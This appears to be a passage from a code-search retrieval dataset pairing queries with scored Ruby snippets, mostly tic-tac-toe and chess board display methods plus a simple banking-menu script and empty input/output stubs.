"text": "def print_board\n\t\tputs \"**********************************\"\n\t\tputs \"| ♔ ♚ ♕ ♛ ♖ ♜ ♗ ♝ ♘ ♞ ♙ ♟ |\"\n\t\tputs \"| Actual board |\"\n\t\tputs \"| ♔ ♚ ♕ ♛ ♖ ♜ ♗ ♝ ♘ ♞ ♙ ♟ |\"\n\t\tputs \"**********************************\"\n\t\t@board.each_index do |i|\n\t\t\t@board[i].each_index do |y|\n\t\t\t\tif y == 0\n\t\t\t\t\tprint 8 - i\n\t\t\t\tend\n\n\t\t\t\tif @board[i][y] == nil\n\t\t\t\t\tprint \"#{@board[i][y]} --\"\n\t\t\t\telse\n\t\t\t\t\tprint \" #{@board[i][y].piecename}\"\n\t\t\t\tend\n\n\t\t\tend\n\t\t\tputs \"\\n\"\n\t\tend\n\t\tputs \" a b c d e f g h\"\n\t\tputs \"\\n\\n\\n\\n\"\n\tend",
"title": ""
},
{
"docid": "19f8287ff4ac6d52833b90253f15a0e3",
"score": "0.79827267",
"text": "def print_board\n puts\n @board.each_with_index do |row, index|\n print \" \"\n row.each_with_index do |element, index|\n print \" \" + element.to_s.center(3, \" \") + \" \"\n if(index < row.length - 1)\n print \"|\"\n else\n print \"\\n\"\n end\n end\n\n if(index < @board.length - 1)\n print \" \"\n row.each_with_index do |element, index|\n print \"-----\"\n if(index < row.length - 1)\n print \"+\"\n else\n print \"\\n\"\n end\n end\n end\n end\n puts\n end",
"title": ""
},
{
"docid": "13ce2b6fe1b6f381ca9fac548d921163",
"score": "0.7980672",
"text": "def display_board\n cell = \" \"\n print cell+\"|\"+cell+\"|\"+cell+\"\\n-----------\\n\"+cell+\"|\"+cell+\"|\"+cell+\"\\n-----------\\n\"+cell+\"|\"+cell+\"|\"+cell+\"\\n\"\n\nend",
"title": ""
},
{
"docid": "fef6a859e2cf1226f3d551dcb2ddacaf",
"score": "0.7964833",
"text": "def display_board\n puts \" \" + (\"_\" * 47)\n 8.downto(1) do |l|\n puts \" \" +(\"| \" * 8 ) + \"|\"\n puts \" #{l} | \" + @board[l-1].join(\" | \") + \" |\"\n puts \" \" +(\"|_____\" * 8 ) + \"|\"\n end\n puts (\" \" * 8) + ('a'..'h').to_a.join(\" \")\n end",
"title": ""
},
{
"docid": "8eeaf8beb2ef22bd2b3aff33ad87ad76",
"score": "0.79521465",
"text": "def display_board\r\nprint \" #{@board[0]} | #{@board[1]} | #{@board[2]} \\n\"\r\nprint \"-----------\\n\"\r\nprint \" #{@board[3]} | #{@board[4]} | #{@board[5]} \\n\"\r\nprint \"-----------\\n\"\r\nprint \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\r\nend",
"title": ""
},
{
"docid": "1e4e52d977f092c9725572fb76e20887",
"score": "0.79477006",
"text": "def display_board\n col_separator = ' | '\n row_separator = '--+---+--'\n\n @rows.each_with_index do |row, row_number|\n row.each_with_index do |col, col_number|\n print col.to_s\n print col_separator unless col_number + 1 >= row.length\n end\n puts ''\n puts row_separator unless row_number + 1 >= @rows.length\n end\n end",
"title": ""
},
{
"docid": "5d8cee0592f15b9d487380e861a7a6bd",
"score": "0.79468524",
"text": "def display_board\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "27b0b823edc2258b7e7a3d6405970e74",
"score": "0.7943979",
"text": "def display_board\n puts \" #{@letter[0]} | #{@letter[1]} | #{@letter[2]} \"\n puts \" -------------\"\n puts \" #{@number[0]}| #{@board_array[0]} | #{@board_array[1]} | #{@board_array[2]} |\"\n puts \" |-----------|\"\n puts \" #{@number[1]}| #{@board_array[3]} | #{@board_array[4]} | #{@board_array[5]} |\"\n puts \" |-----------|\"\n puts \" #{@number[2]}| #{@board_array[6]} | #{@board_array[7]} | #{@board_array[8]} |\"\n puts \" ------------\"\n end",
"title": ""
},
{
"docid": "3472791dde515e0f1b60985f868fdd49",
"score": "0.79344374",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \\n-----------\\n #{board[3]} | #{board[4]} | #{board[5]} \\n-----------\\n #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "74076c107688ee2ec364a5f7da5b44ae",
"score": "0.7932558",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\\n\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\\n\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "8ff186cdc16255cdcf1da267fb47ca5e",
"score": "0.7925532",
"text": "def display_board\n display = \" a b c d e f g h \\n\"\n @board.each_with_index do |arr, i|\n line = \"#{i + 1} \"\n arr.each do |hash|\n hash[:piece].nil? ? line += \"#{hash[:base]} \" : line += \"#{hash[:piece].name} \"\n end\n line += \"\\n\"\n display += line\n end\n display\n end",
"title": ""
},
{
"docid": "fee5c8d00bec26992b6e02c5b1e21073",
"score": "0.7920176",
"text": "def display_board(board)\n cell1 = \" #{board[0]} \"\n cell2 = \" #{board[1]} \"\n cell3 = \" #{board[2]} \"\n cell4 = \" #{board[3]} \"\n cell5 = \" #{board[4]} \"\n cell6 = \" #{board[5]} \"\n cell7 = \" #{board[6]} \"\n cell8 = \" #{board[7]} \"\n cell9 = \" #{board[8]} \"\n box = \"|\"\n line = \"-----------\"\n print cell1, box, cell2, box, cell3\n print \"\\n\",line\n print \"\\n\",cell4, box, cell5, box, cell6\n print \"\\n\",line\n print \"\\n\",cell7, box, cell8, box, cell9, \"\\n\"\nend",
"title": ""
},
{
"docid": "4e5b7064a222dd0daa08b55da9ee9e80",
"score": "0.7914072",
"text": "def display_board(board)\n puts \" #{board[0]} \" \"|\" \" #{board[1]} \" \"|\" \" #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} \" \"|\" \" #{board[4]} \" \"|\" \" #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} \" \"|\" \" #{board[7]} \" \"|\" \" #{board[8]} \"\nend",
"title": ""
},
{
"docid": "8fafc51fc2e5cb3fa2b1d0908ba6e5d0",
"score": "0.79031646",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \\n-------------\\n #{board[3]} | #{board[4]} | #{board[5]} \\n-------------\\n #{board[6]} | #{board[7]} | #{board[8]} \\n\"\nend",
"title": ""
},
{
"docid": "0761c10446d1180d76d3b559975d314d",
"score": "0.7896122",
"text": "def display_board(board)\n puts \" #{board[0] } | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3] } | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6] } | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
},
{
"docid": "0f8e165dc4f4f595461e3fcb61db89a5",
"score": "0.78697747",
"text": "def display_board(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"title": ""
}
] |
4e4c1fad8b3c3a6d2d9a3ceb88053146 | Handles majority of input and output | [
{
"docid": "e3bac329f5238ab17d3e0314af481ce6",
"score": "0.0",
"text": "def main_menu\n options = [\"Balance\", \"Deposit\", \"Withdraw\", \"History\", \"Quit\"]\n quit = false\n while !quit\n puts \"Welcome to the banking app. What would you like to do?\"\n options.each do |item|\n puts \" #{item}\"\n end\n seperate_block\n input = gets.chomp.downcase\n write_history(input)\n case input\n when \"balance\"\n print_balance\n when \"deposit\"\n deposit\n when \"withdraw\"\n withdraw\n when \"history\"\n print_history\n when quit\n quit = true\n end\n end\n\n #checks to see if the input is a valid number (>0 && is Numeric)\n #\n def is_valid_number(input)\n raise \"Not a valid number. Please enter a number greater than 0.0, making sure to not include any letters or symbols.\" unless input.to_f.is_a? Numeric\n end\n\n # Gather input > sends to isValidNumber > updates @balance (+)\n #\n def deposit\n puts \"How much would you like to deposit?\"\n input = gets.chomp \n write_history(input)\n is_valid_number(input)\n @balance += input.to_f\n print_balance\n end\n\n # Gather input > sends to is_valid_number > updates @balance (-)\n #\n def withdraw\n puts \"How much would you like to withdraw?\"\n input = gets.chomp\n write_history(input)\n is_valid_number(input)\n @balance -= input.to_f\n print_balance\n end\n\n #\n #\n def write_history(to_write)\n file_ref = File.new('out.txt', \"a\")\n file_ref.write(to_write + \" \" + DateTime.now.strftime(\"%d/%m/%Y %H:%M\") + \"\\n\")\n file_ref.close\n end\n\n #\n #\n def print_history\n file_ref = File.new('out.txt', \"r\")\n file_ref.each_line do |line|\n puts line\n end\n file_ref.close\n seperate_block\n puts \"ANY KEY to move on\"\n if gets.chomp\n clear_screen\n end\n end\n\n #\n #\n def print_balance\n puts \"Your balance is: $#{sprintf('%.2f', @balance)}\"\n seperate_block\n puts \"ANY KEY to move on\"\n if gets.chomp\n clear_screen\n end\n end\n\n #\n #\n def verify_password(pass, user)\n if pass == @password\n seperate_block\n return true\n else\n return false\n end\n end\n\n def seperate_block\n puts \"----------------------------------------------------------------------\"\n end\n\n def clear_screen\n system(\"clear\")\n end\n\n def log_in\n puts \"ACCOUNT NUMBER: \"\n user = gets.chomp.downcase\n puts \"PASSWORD: \"\n pass = gets.chomp\n if verify_password(pass, user)\n clear_screen\n main_menu\n end\n end\n\n def save_data\n ##content##\n end\n\nend",
"title": ""
}
] | [
{
"docid": "5d771f0f337eb23e7092aaadb1e37999",
"score": "0.6554255",
"text": "def input; end",
"title": ""
},
{
"docid": "5d771f0f337eb23e7092aaadb1e37999",
"score": "0.6554255",
"text": "def input; end",
"title": ""
},
{
"docid": "5d771f0f337eb23e7092aaadb1e37999",
"score": "0.6554255",
"text": "def input; end",
"title": ""
},
{
"docid": "edd78f58fe72e33e930fb0efdbcdca3c",
"score": "0.6272765",
"text": "def process_input\n if state.user_input == :star\n input_star\n elsif state.user_input == :star2\n input_star2\n elsif state.user_input == :target\n input_target\n elsif state.user_input == :target2\n input_target2\n elsif state.user_input == :remove_wall\n input_remove_wall\n elsif state.user_input == :remove_wall2\n input_remove_wall2\n elsif state.user_input == :add_hill\n input_add_hill\n elsif state.user_input == :add_hill2\n input_add_hill2\n elsif state.user_input == :add_wall\n input_add_wall\n elsif state.user_input == :add_wall2\n input_add_wall2\n end\n end",
"title": ""
},
{
"docid": "4bd2edef8eec4432b5b66908f64148c6",
"score": "0.6230613",
"text": "def processed_input!\n unknown_handling :process\n not_researched_handling :process\n self\n end",
"title": ""
},
{
"docid": "7dc3331e61691bc129bad9be09b3dc42",
"score": "0.6178682",
"text": "def read_input; end",
"title": ""
},
{
"docid": "021632acf2134b940ea3c6ef50c087b8",
"score": "0.6175101",
"text": "def process_input\n if state.current_input == :star\n input_star\n elsif state.current_input == :target\n input_target\n elsif state.current_input == :remove_wall\n input_remove_wall\n elsif state.current_input == :add_wall\n input_add_wall\n end\n end",
"title": ""
},
{
"docid": "f228d27777c14e9bc6843b4b8d2827bb",
"score": "0.61392426",
"text": "def output(data); end",
"title": ""
},
{
"docid": "7ad081410c85b96536dc95d5e18bc08a",
"score": "0.60019964",
"text": "def input; @input; end",
"title": ""
},
{
"docid": "7ad081410c85b96536dc95d5e18bc08a",
"score": "0.60019964",
"text": "def input; @input; end",
"title": ""
},
{
"docid": "63a6d8945524b4dd8ae27ee91fa3f3ad",
"score": "0.5976558",
"text": "def before_validate\n self.initial_output :alias => 'PREVOUT' unless self.initial_output\n self.previous_input :alias => 'PREVIN' unless self.previous_input\n self.previous_output :alias => 'PREVOUT' unless self.previous_output\n self.outputs<< output(0) if self.outputs.empty?\n super\n end",
"title": ""
},
{
"docid": "d3ec5177a036dbc4b089431a57c403bc",
"score": "0.59551346",
"text": "def output=(io); end",
"title": ""
},
{
"docid": "c55f14dc7aa73331f4bc39ec7e669bf6",
"score": "0.59419817",
"text": "def read_input\n end",
"title": ""
},
{
"docid": "7b962bf24c725cfcce05fb83326ddc58",
"score": "0.5896691",
"text": "def process_input\n if @process == 'directory'\n process_directory\n elsif @process == 'file'\n process_compiled_file\n elsif @process == 'zip'\n process_zip_file\n elsif @process == 'zip-stream'\n process_zip_stream\n end\n end",
"title": ""
},
{
"docid": "b73d67070a2f5c0fa3684169a006ba1e",
"score": "0.58833784",
"text": "def process_outputs(args)\n @input = @generator = @window = @fill_value = nil # Cover our tracks.\n\n if (name = args[:out_file])\n IO.write(name, @output, mode: \"wb\")\n elsif (out_str = args[:out_str])\n out_str << @output\n end\n\n (_, @output = @output, nil)[0] # Return output and erase it.\n end",
"title": ""
},
{
"docid": "82a26d9ba057dcbe65d8a12517d0d728",
"score": "0.5869761",
"text": "def input_handler\n STDIN.read.split(\"\\n\").each do |line|\n process_line(line)\n end\n end",
"title": ""
},
{
"docid": "5d6c59830984b25f257162a0dd9eaa77",
"score": "0.5862638",
"text": "def get_input;\t@input \t\tend",
"title": ""
},
{
"docid": "dfadd8a7cbdc893db7eb5b8de6581010",
"score": "0.5848807",
"text": "def input=(_arg0); end",
"title": ""
},
{
"docid": "3fec260f75166939d85165c35acffd8b",
"score": "0.58437765",
"text": "def preprocess_input(input)\nend",
"title": ""
},
{
"docid": "4921c3ae6d0b2f27c4c76ade5f2985ee",
"score": "0.5831932",
"text": "def before_validate\n self.outputs<< output(0) if self.outputs.empty?\n super\n end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.582365",
"text": "def output; end",
"title": ""
},
{
"docid": "3247f1323648f161f537f77f76f509c5",
"score": "0.5820344",
"text": "def read_stdin()\n # Purpose: import data out of STDIN\n # Input : none\n # Output : Array of inbound scores, array ouf outbound scores\n # Remarks: Empty values are mapped to nil, non-integer values are mapped to 0\n \n vprint \"Starting to read STDIN\"\n\n def map_data(data,nils,stats)\n if data == \"-\" or data == \"\"\n nils = nils + 1\n else\n stats << data.to_i\n end\n return nils, stats\n end\n\n stats_in = Array.new()\n stats_out = Array.new()\n nils_in = 0 \n nils_out = 0 \n \n n = 0\n formatcheck_ok = false\n\n STDIN.each do |line| # we checked for STDIN in check parameter phase\n n = n + 1\n dprint \"Processing line ##{n}: #{line.chomp}\"\n begin\n in_data, out_data = line.chomp.split(\";\")\n unless formatcheck_ok\n if in_data != in_data.to_i.to_s\n \t puts_error(\"Input's first line indicates, input is not in CSV format as\")\n\t puts_error(\"explained by help text. This is fatal. Aborting.\")\n\t exit 1\n else\n formatcheck_ok = true\n end\n end\n nils_in, stats_in = map_data(in_data, nils_in, stats_in)\n nils_out, stats_out = map_data(out_data, nils_out, stats_out)\n rescue => detail\n puts_error(\"Could not read line ##{n}: \\\"#{line.chomp}\\\". Ignoring.\")\n end\n\n end\n\n 1.upto($params[:baseline]) do\n\t stats_in << 0\n\t stats_out << 0\n end\n\n vprint \"Done reading STDIN (imported #{n} lines of data)\"\n\n return nils_in, stats_in, nils_out, stats_out\n\nend",
"title": ""
},
{
"docid": "e625b78038a75fd1c54f5defc45df665",
"score": "0.58103305",
"text": "def process_output\n return @output unless @output.nil?\n return @output = DocumentOutput.new(@response_output) unless @response_output.nil?\n \n raise \"The response output was not in it's usual places, please provide the output\" if @controller.nil? || @controller.body.empty?\n @response_output = @controller.body\n @output = DocumentOutput.new(@controller.body)\n end",
"title": ""
},
{
"docid": "a3f3dd5ac61a023fb8d73d0d8a8d76e5",
"score": "0.573042",
"text": "def input?; @input; end",
"title": ""
},
{
"docid": "89f236cf817e796004aa74578bdd5e30",
"score": "0.57223713",
"text": "def output=(_arg0); end",
"title": ""
},
{
"docid": "89f236cf817e796004aa74578bdd5e30",
"score": "0.57223713",
"text": "def output=(_arg0); end",
"title": ""
},
{
"docid": "89f236cf817e796004aa74578bdd5e30",
"score": "0.57223713",
"text": "def output=(_arg0); end",
"title": ""
},
{
"docid": "89f236cf817e796004aa74578bdd5e30",
"score": "0.57223713",
"text": "def output=(_arg0); end",
"title": ""
},
{
"docid": "89f236cf817e796004aa74578bdd5e30",
"score": "0.57223713",
"text": "def output=(_arg0); end",
"title": ""
},
{
"docid": "89f236cf817e796004aa74578bdd5e30",
"score": "0.57223713",
"text": "def output=(_arg0); end",
"title": ""
},
{
"docid": "89f236cf817e796004aa74578bdd5e30",
"score": "0.57223713",
"text": "def output=(_arg0); end",
"title": ""
},
{
"docid": "89f236cf817e796004aa74578bdd5e30",
"score": "0.57223713",
"text": "def output=(_arg0); end",
"title": ""
},
{
"docid": "89f236cf817e796004aa74578bdd5e30",
"score": "0.57223713",
"text": "def output=(_arg0); end",
"title": ""
},
{
"docid": "89f236cf817e796004aa74578bdd5e30",
"score": "0.57223713",
"text": "def output=(_arg0); end",
"title": ""
},
{
"docid": "89f236cf817e796004aa74578bdd5e30",
"score": "0.57223713",
"text": "def output=(_arg0); end",
"title": ""
},
{
"docid": "89f236cf817e796004aa74578bdd5e30",
"score": "0.57223713",
"text": "def output=(_arg0); end",
"title": ""
},
{
"docid": "6a580931a1781238fd4518fdb62728d7",
"score": "0.57219005",
"text": "def process; end",
"title": ""
},
{
"docid": "6a580931a1781238fd4518fdb62728d7",
"score": "0.57219005",
"text": "def process; end",
"title": ""
},
{
"docid": "6a580931a1781238fd4518fdb62728d7",
"score": "0.57219005",
"text": "def process; end",
"title": ""
},
{
"docid": "6a580931a1781238fd4518fdb62728d7",
"score": "0.57219005",
"text": "def process; end",
"title": ""
},
{
"docid": "6a580931a1781238fd4518fdb62728d7",
"score": "0.57219005",
"text": "def process; end",
"title": ""
},
{
"docid": "6a580931a1781238fd4518fdb62728d7",
"score": "0.57219005",
"text": "def process; end",
"title": ""
},
{
"docid": "6a580931a1781238fd4518fdb62728d7",
"score": "0.57219005",
"text": "def process; end",
"title": ""
},
{
"docid": "6a580931a1781238fd4518fdb62728d7",
"score": "0.57219005",
"text": "def process; end",
"title": ""
},
{
"docid": "2a226bd9b266ea6cab11e94a9bffe21a",
"score": "0.57218605",
